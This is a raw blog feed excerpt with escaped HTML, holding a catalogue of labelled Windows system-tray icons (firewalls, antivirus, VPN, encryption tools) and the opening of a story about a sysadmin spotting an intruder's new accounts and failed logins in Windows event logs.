src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S4WGapqccmI/AAAAAAAABio/_z3ilHLTSrI/s400/Screen+shot+2010-02-24+at+20.03.07.PNG" alt="" id="BLOGGER_PHOTO_ID_5441903517165711970" border="0" /&gt;&lt;/a&gt; ZoneAlarm – No Traffic&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WGab5iA-I/AAAAAAAABig/6_qunsqZ1aQ/s1600-h/Screen+shot+2010-02-24+at+20.02.54.PNG"&gt;&lt;img style="cursor: pointer; width: 24px; height: 23px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WGab5iA-I/AAAAAAAABig/6_qunsqZ1aQ/s400/Screen+shot+2010-02-24+at+20.02.54.PNG" alt="" id="BLOGGER_PHOTO_ID_5441903513470895074" border="0" /&gt;&lt;/a&gt; ZoneAlarm – Internet Locked&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S4WGaAFCiUI/AAAAAAAABiY/jzghqFbwhqI/s1600-h/Screen+shot+2010-02-24+at+20.02.44.PNG"&gt;&lt;img style="cursor: pointer; width: 22px; height: 23px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S4WGaAFCiUI/AAAAAAAABiY/jzghqFbwhqI/s400/Screen+shot+2010-02-24+at+20.02.44.PNG" alt="" id="BLOGGER_PHOTO_ID_5441903506002970946" border="0" /&gt;&lt;/a&gt; ZoneAlarm - Running&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WezbPKCaI/AAAAAAAABjQ/7nVjTB-kdoQ/s1600-h/Screen+shot+2010-02-24+at+21.45.29.PNG"&gt;&lt;img style="cursor: pointer; width: 25px; height: 24px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WezbPKCaI/AAAAAAAABjQ/7nVjTB-kdoQ/s400/Screen+shot+2010-02-24+at+21.45.29.PNG" alt="" id="BLOGGER_PHOTO_ID_5441930331068959138" border="0" /&gt;&lt;/a&gt; Microsoft Defender - Active&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4WezkWHl4I/AAAAAAAABjY/B2zzFdTtsVw/s1600-h/Screen+shot+2010-02-24+at+21.45.58.PNG"&gt;&lt;img style="cursor: pointer; width: 24px; height: 22px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4WezkWHl4I/AAAAAAAABjY/B2zzFdTtsVw/s400/Screen+shot+2010-02-24+at+21.45.58.PNG" alt="" id="BLOGGER_PHOTO_ID_5441930333514078082" border="0" /&gt;&lt;/a&gt; Microsoft Defender - Running&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S4We0BYwRqI/AAAAAAAABjo/jco82enRBSk/s1600-h/Screen+shot+2010-02-24+at+21.46.58.PNG"&gt;&lt;img style="cursor: pointer; width: 20px; height: 24px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S4We0BYwRqI/AAAAAAAABjo/jco82enRBSk/s400/Screen+shot+2010-02-24+at+21.46.58.PNG" alt="" id="BLOGGER_PHOTO_ID_5441930341309761186" border="0" /&gt;&lt;/a&gt; PCTools Threatfire - Enabled&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S4WhADI-mkI/AAAAAAAABkI/lNWB4IgcBjQ/s1600-h/Screen+shot+2010-02-24+at+21.57.32.PNG"&gt;&lt;img style="cursor: pointer; width: 20px; height: 21px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S4WhADI-mkI/AAAAAAAABkI/lNWB4IgcBjQ/s400/Screen+shot+2010-02-24+at+21.57.32.PNG" alt="" id="BLOGGER_PHOTO_ID_5441932746962147906" border="0" /&gt;&lt;/a&gt; PCTools Threatfire - Disabled&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4WgdqYfhFI/AAAAAAAABj4/tITAeHoj-Qc/s1600-h/Screen+shot+2010-02-24+at+21.47.27.PNG"&gt;&lt;img style="cursor: pointer; width: 26px; height: 23px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4WgdqYfhFI/AAAAAAAABj4/tITAeHoj-Qc/s400/Screen+shot+2010-02-24+at+21.47.27.PNG" alt="" id="BLOGGER_PHOTO_ID_5441932156200780882" border="0" /&gt;&lt;/a&gt; Tiny Personal Firewall v 2.0.15&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Communication&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;﻿&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2daJ7upsHI/AAAAAAAABcU/vsHm-wAPwKY/s1600-h/055f514a0f714cad9df797fd61a887f3.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2daJ7upsHI/AAAAAAAABcU/vsHm-wAPwKY/s320/055f514a0f714cad9df797fd61a887f3.png" alt="" id="BLOGGER_PHOTO_ID_5433410602144477298" border="0" /&gt;&lt;/a&gt; Bluetooth - Disabled&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2ddsl7VcBI/AAAAAAAABd8/DYmmHrs9Eu4/s1600-h/f16253725f0e7ea16fbc21b1cfdbb740.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2ddsl7VcBI/AAAAAAAABd8/DYmmHrs9Eu4/s320/f16253725f0e7ea16fbc21b1cfdbb740.png" alt="" id="BLOGGER_PHOTO_ID_5433414496122400786" border="0" /&gt;&lt;/a&gt; Bluetooth - Enabled&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2daJNAhUTI/AAAAAAAABb8/AcS3r3Ivwac/s1600-h/8e6514f41f69537ba5b80cff21950447.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2daJNAhUTI/AAAAAAAABb8/AcS3r3Ivwac/s320/8e6514f41f69537ba5b80cff21950447.png" alt="" id="BLOGGER_PHOTO_ID_5433410589602959666" border="0" /&gt;&lt;/a&gt; Cisco VPN - Not connected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dbLZSrPAI/AAAAAAAABcs/-wpfOeuaRvQ/s1600-h/86868efb16ab420f2c0dc3b8bb12f558.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dbLZSrPAI/AAAAAAAABcs/-wpfOeuaRvQ/s320/86868efb16ab420f2c0dc3b8bb12f558.png" alt="" id="BLOGGER_PHOTO_ID_5433411726771698690" border="0" /&gt;&lt;/a&gt; Cisco VPN - Connected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dc7ceS8WI/AAAAAAAABds/eYQ8oQ-OVRk/s1600-h/870b6870b466c76b5623f1d199d9a286.png"&gt;&lt;img style="cursor: pointer; width: 19px; height: 19px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dc7ceS8WI/AAAAAAAABds/eYQ8oQ-OVRk/s320/870b6870b466c76b5623f1d199d9a286.png" alt="" id="BLOGGER_PHOTO_ID_5433413651771093346" border="0" /&gt;&lt;/a&gt; Wifi - Connected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dfv12deRI/AAAAAAAABes/JviQot5FlTs/s1600-h/d81980bfab344001ea1d0b72cbe9b867.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dfv12deRI/AAAAAAAABes/JviQot5FlTs/s320/d81980bfab344001ea1d0b72cbe9b867.png" alt="" id="BLOGGER_PHOTO_ID_5433416750959786258" border="0" /&gt;&lt;/a&gt; Wifi - Not Connected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dfJ8U6AuI/AAAAAAAABeU/Z_frR8Dbatg/s1600-h/845357a6b2084a8adbfb88ff29bd143e.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dfJ8U6AuI/AAAAAAAABeU/Z_frR8Dbatg/s320/845357a6b2084a8adbfb88ff29bd143e.png" alt="" id="BLOGGER_PHOTO_ID_5433416099863069410" border="0" /&gt;&lt;/a&gt; LAN - Connected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dfKGPgiCI/AAAAAAAABec/BWR0eLDn8Wo/s1600-h/5675208f0470367832d00e56217d839c.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dfKGPgiCI/AAAAAAAABec/BWR0eLDn8Wo/s320/5675208f0470367832d00e56217d839c.png" alt="" id="BLOGGER_PHOTO_ID_5433416102524782626" border="0" /&gt;&lt;/a&gt; LAN - Disconnected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S4WGa6-pTFI/AAAAAAAABiw/hdh8H07oup0/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 22px; height: 18px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S4WGa6-pTFI/AAAAAAAABiw/hdh8H07oup0/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5441903521813843026" border="0" /&gt;&lt;/a&gt; Cisco Network Magic - Running&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WGZ3n8YWI/AAAAAAAABiQ/Jaomdofaqi4/s1600-h/screenshot2.png"&gt;&lt;img style="cursor: pointer; width: 17px; height: 22px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WGZ3n8YWI/AAAAAAAABiQ/Jaomdofaqi4/s400/screenshot2.png" alt="" id="BLOGGER_PHOTO_ID_5441903503733449058" border="0" /&gt;&lt;/a&gt; Cisco Network Magic - Not Running&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Encryption&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2daJtcPF0I/AAAAAAAABcM/ncReYa8Ro8g/s1600-h/45c113b6c3b49442bd2dd938f9713c32.png"&gt;&lt;img style="cursor: pointer; width: 18px; height: 18px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2daJtcPF0I/AAAAAAAABcM/ncReYa8Ro8g/s320/45c113b6c3b49442bd2dd938f9713c32.png" alt="" id="BLOGGER_PHOTO_ID_5433410598309140290" border="0" /&gt;&lt;/a&gt;  WinPT&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dbK87oqDI/AAAAAAAABcc/zObIVsSB9L4/s1600-h/87c078f1b9e26fe10385b01ca5c6d511.png"&gt;&lt;img style="cursor: pointer; width: 18px; height: 18px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dbK87oqDI/AAAAAAAABcc/zObIVsSB9L4/s320/87c078f1b9e26fe10385b01ca5c6d511.png" alt="" id="BLOGGER_PHOTO_ID_5433411719158868018" border="0" /&gt;&lt;/a&gt; PGP&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhFFgWw4I/AAAAAAAABfE/rYEdmIZ4Kts/s1600-h/79c98d6e8b6288dca559dc512315e68e.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhFFgWw4I/AAAAAAAABfE/rYEdmIZ4Kts/s320/79c98d6e8b6288dca559dc512315e68e.png" alt="" id="BLOGGER_PHOTO_ID_5433418215450919810" border="0" /&gt;&lt;/a&gt; TrueCrypt&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S3x_JK06xnI/AAAAAAAABh4/N3iaVI9q0xs/s1600-h/sanc.png"&gt;&lt;img style="cursor: pointer; width: 19px; height: 19px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S3x_JK06xnI/AAAAAAAABh4/N3iaVI9q0xs/s400/sanc.png" alt="" id="BLOGGER_PHOTO_ID_5439362245458577010" border="0" /&gt;&lt;/a&gt; Sanctuary&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Other&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dhxVSI9hI/AAAAAAAABfc/xIivXU-YDYY/s1600-h/d7e2e2986bf99f455bab00dfda068a3f.png"&gt;&lt;img style="cursor: pointer; width: 17px; height: 21px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dhxVSI9hI/AAAAAAAABfc/xIivXU-YDYY/s320/d7e2e2986bf99f455bab00dfda068a3f.png" alt="" id="BLOGGER_PHOTO_ID_5433418975600506386" border="0" /&gt;&lt;/a&gt; MS Security Center - Warning&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dfJr4HPLI/AAAAAAAABeM/gGgOXiIoNG8/s1600-h/27804fbbadcf930897367ea3ca86c4c6.png"&gt;&lt;img style="cursor: pointer; width: 18px; height: 20px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dfJr4HPLI/AAAAAAAABeM/gGgOXiIoNG8/s320/27804fbbadcf930897367ea3ca86c4c6.png" alt="" id="BLOGGER_PHOTO_ID_5433416095447334066" border="0" /&gt;&lt;/a&gt; MS Windows Updates - Warning&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2daIzR7JgI/AAAAAAAABb0/Xynm2BLNpX4/s1600-h/3d91f401b7a09e43cdb4e211b0cab94e.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 20px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2daIzR7JgI/AAAAAAAABb0/Xynm2BLNpX4/s320/3d91f401b7a09e43cdb4e211b0cab94e.png" alt="" id="BLOGGER_PHOTO_ID_5433410582696633858" border="0" /&gt;&lt;/a&gt;  MS Office 2003&lt;br /&gt;&lt;b&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dc6tdgIjI/AAAAAAAABdU/Kg0kD--6-E0/s1600-h/5f1fdc374a9f8104a487ca1900d4b749.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 21px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dc6tdgIjI/AAAAAAAABdU/Kg0kD--6-E0/s320/5f1fdc374a9f8104a487ca1900d4b749.png" alt="" id="BLOGGER_PHOTO_ID_5433413639151297074" border="0" /&gt;&lt;/a&gt; VMWare Tools installed&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2ddsQWPTcI/AAAAAAAABd0/ylvxwrqn38Y/s1600-h/e110d7db261fab2fda25b67c2a66e070.png"&gt;&lt;img style="cursor: pointer; width: 15px; height: 14px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2ddsQWPTcI/AAAAAAAABd0/ylvxwrqn38Y/s320/e110d7db261fab2fda25b67c2a66e070.png" alt="" id="BLOGGER_PHOTO_ID_5433414490329664962" border="0" /&gt;&lt;/a&gt; MS Outlook - New Mail&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dculRh0tI/AAAAAAAABdM/cvZsk3BTVU8/s1600-h/1ec7d1858961776fb0b3ad64449ae403.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dculRh0tI/AAAAAAAABdM/cvZsk3BTVU8/s320/1ec7d1858961776fb0b3ad64449ae403.png" alt="" id="BLOGGER_PHOTO_ID_5433413430795162322" border="0" /&gt;&lt;/a&gt; Synaptec Pointing Device&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S3XSBcexOvI/AAAAAAAABgY/WUBeCBsoCBg/s1600-h/xammp.png"&gt;&lt;img style="cursor: pointer; width: 17px; height: 23px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S3XSBcexOvI/AAAAAAAABgY/WUBeCBsoCBg/s320/xammp.png" alt="" id="BLOGGER_PHOTO_ID_5437483047386692338" border="0" /&gt;&lt;/a&gt; xampp&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S3x_IlCZjsI/AAAAAAAABho/j5K67zHlYGA/s1600-h/nw.png"&gt;&lt;img style="cursor: pointer; width: 17px; height: 17px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S3x_IlCZjsI/AAAAAAAABho/j5K67zHlYGA/s400/nw.png" alt="" id="BLOGGER_PHOTO_ID_5439362235314572994" border="0" /&gt;&lt;/a&gt; Night Watchman Power Management&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3x_IUAjuQI/AAAAAAAABhY/XpouDy1o4zU/s1600-h/demon.png"&gt;&lt;img style="cursor: pointer; width: 19px; height: 19px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3x_IUAjuQI/AAAAAAAABhY/XpouDy1o4zU/s400/demon.png" alt="" id="BLOGGER_PHOTO_ID_5439362230743447810" border="0" /&gt;&lt;/a&gt; Daemon Tools&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4Wez-0qtqI/AAAAAAAABjg/h1GRl6L4ijE/s1600-h/Screen+shot+2010-02-24+at+21.46.32.PNG"&gt;&lt;img style="cursor: pointer; width: 24px; height: 24px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4Wez-0qtqI/AAAAAAAABjg/h1GRl6L4ijE/s400/Screen+shot+2010-02-24+at+21.46.32.PNG" alt="" id="BLOGGER_PHOTO_ID_5441930340621530786" border="0" /&gt;&lt;/a&gt; Daemon Tools - Emulation Enabled&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4Wgd7tIJHI/AAAAAAAABkA/UC5uf2R7wqE/s1600-h/Screen+shot+2010-02-24+at+21.47.49.PNG"&gt;&lt;img style="cursor: pointer; width: 23px; height: 23px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4Wgd7tIJHI/AAAAAAAABkA/UC5uf2R7wqE/s400/Screen+shot+2010-02-24+at+21.47.49.PNG" alt="" id="BLOGGER_PHOTO_ID_5441932160850732146" border="0" /&gt;&lt;/a&gt; Daemon Tools - Emulation Disabled&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WGlESzDRI/AAAAAAAABi4/0Z-okPwRd2E/s1600-h/Screen+shot+2010-02-24+at+20.05.11.PNG"&gt;&lt;img style="cursor: pointer; width: 25px; height: 22px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WGlESzDRI/AAAAAAAABi4/0Z-okPwRd2E/s400/Screen+shot+2010-02-24+at+20.05.11.PNG" alt="" id="BLOGGER_PHOTO_ID_5441903696112979218" border="0" /&gt;&lt;/a&gt; Realtek HD audio Manager&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4We0UkqIPI/AAAAAAAABjw/ru18Q-CLYN0/s1600-h/Screen+shot+2010-02-24+at+21.47.13.PNG"&gt;&lt;img style="cursor: pointer; width: 26px; height: 26px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4We0UkqIPI/AAAAAAAABjw/ru18Q-CLYN0/s400/Screen+shot+2010-02-24+at+21.47.13.PNG" alt="" id="BLOGGER_PHOTO_ID_5441930346459963634" border="0" /&gt;&lt;/a&gt; Unlocker Assistant&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4Wi4HnD7MI/AAAAAAAABkQ/MWApgp61tIg/s1600-h/Screen+shot+2010-02-24+at+22.05.48.PNG"&gt;&lt;img style="cursor: pointer; width: 18px; height: 18px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4Wi4HnD7MI/AAAAAAAABkQ/MWApgp61tIg/s400/Screen+shot+2010-02-24+at+22.05.48.PNG" alt="" id="BLOGGER_PHOTO_ID_5441934809746369730" border="0" /&gt;&lt;/a&gt; SIW&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks to the following for submitting icons:&lt;br /&gt;&lt;br /&gt;Jimmy&lt;br /&gt;Dave&lt;br /&gt;James&lt;br /&gt;Charz&lt;br /&gt;Mark&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5240637738561601783?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5240637738561601783/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5240637738561601783&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5240637738561601783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5240637738561601783'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/02/systray-recognition-system.html' title='Systray Recognition System'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/S2daJUjNjdI/AAAAAAAABcE/KbmYLS3dbNw/s72-c/43fe051d6965c7d41b3902eea72b4de8.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5926717151204907717</id><published>2010-01-29T22:31:00.008Z</published><updated>2010-01-29T23:11:43.106Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><title type='text'>What Bob Did. What Alice Saw - Part 2</title><content type='html'>This is the 2&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;nd&lt;/span&gt; part of the story which  is all about Bob the evil hacker and Alice the overworked &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Sys&lt;/span&gt; Admin.&lt;br /&gt;&lt;br /&gt;In the&lt;a href="http://synjunkie.blogspot.com/2010/01/what-bob-did-what-alice-saw-part-1.html"&gt; previous post&lt;/a&gt; Bob was using some of his command line &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Kung&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Fu&lt;/span&gt; to carefully analyse the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Walliford&lt;/span&gt; Active Directory before creating some very inconspicuous admin and user accounts. Bob being the careful kind of guy that he is also attempted to cover his tracks by deleting the logs on the victim server.&lt;br /&gt;&lt;br /&gt;In this post I'll be looking at how Alice might have spotted all Bobs actions if she was following 2 best practices:&lt;br /&gt;&lt;br /&gt;1) Analysing the logs.&lt;br /&gt;2) Logging to another server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Part 2 - What Alice Saw&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Alice turns up at the office a few minutes early as usual. She likes to get in, grab her coffee and then start on her daily tasks. First she checks her emails for anything urgent, then the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;helpdesk&lt;/span&gt;, and finally she gets to her server logs.   The information that windows logs can be pretty overwhelming, luckily Alice has a few filters that she can apply to look for key events.&lt;br /&gt;&lt;br /&gt;What Alice ideally wants to know is what accounts have been added or deleted and what groups have been modified. She keeps a list of the events that she needs to watch out for to spot these types of activities.  Other interesting events that Alice keeps a close eye on are those for people logging into servers, bad passwords and account lockouts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Her daily log analysis isn't her favorite job, but it's an important one. She would love to get her boss to pay for a tool to do the log correlation but unfortunately he doesn't see it as an important enough task. As soon as Alice finds the time and starts looking through the logs she starts to worry. She &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;see's&lt;/span&gt; a whole bunch of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;login&lt;/span&gt; failures from earlier that morning.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2NlkmgYSqI/AAAAAAAABbE/ZjaCdut02Ng/s1600-h/screenshot0.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 294px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2NlkmgYSqI/AAAAAAAABbE/ZjaCdut02Ng/s320/screenshot0.png" alt="" id="BLOGGER_PHOTO_ID_5432297255025003170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On closer inspection Alice sees some very strange looking account names like &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;metasploit&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2NmFrRQ3zI/AAAAAAAABbM/0cLsXjJcjuc/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 289px; height: 320px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2NmFrRQ3zI/AAAAAAAABbM/0cLsXjJcjuc/s320/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5432297823239462706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After those entries Alice sees an event 624 Which indicates a new account has been created for a user called Bob Ball.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2Nms4Y3lDI/AAAAAAAABbU/RlUTKiCLgJU/s1600-h/screenshot0.png"&gt;&lt;img style="cursor: pointer; width: 290px; height: 320px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2Nms4Y3lDI/AAAAAAAABbU/RlUTKiCLgJU/s320/screenshot0.png" alt="" 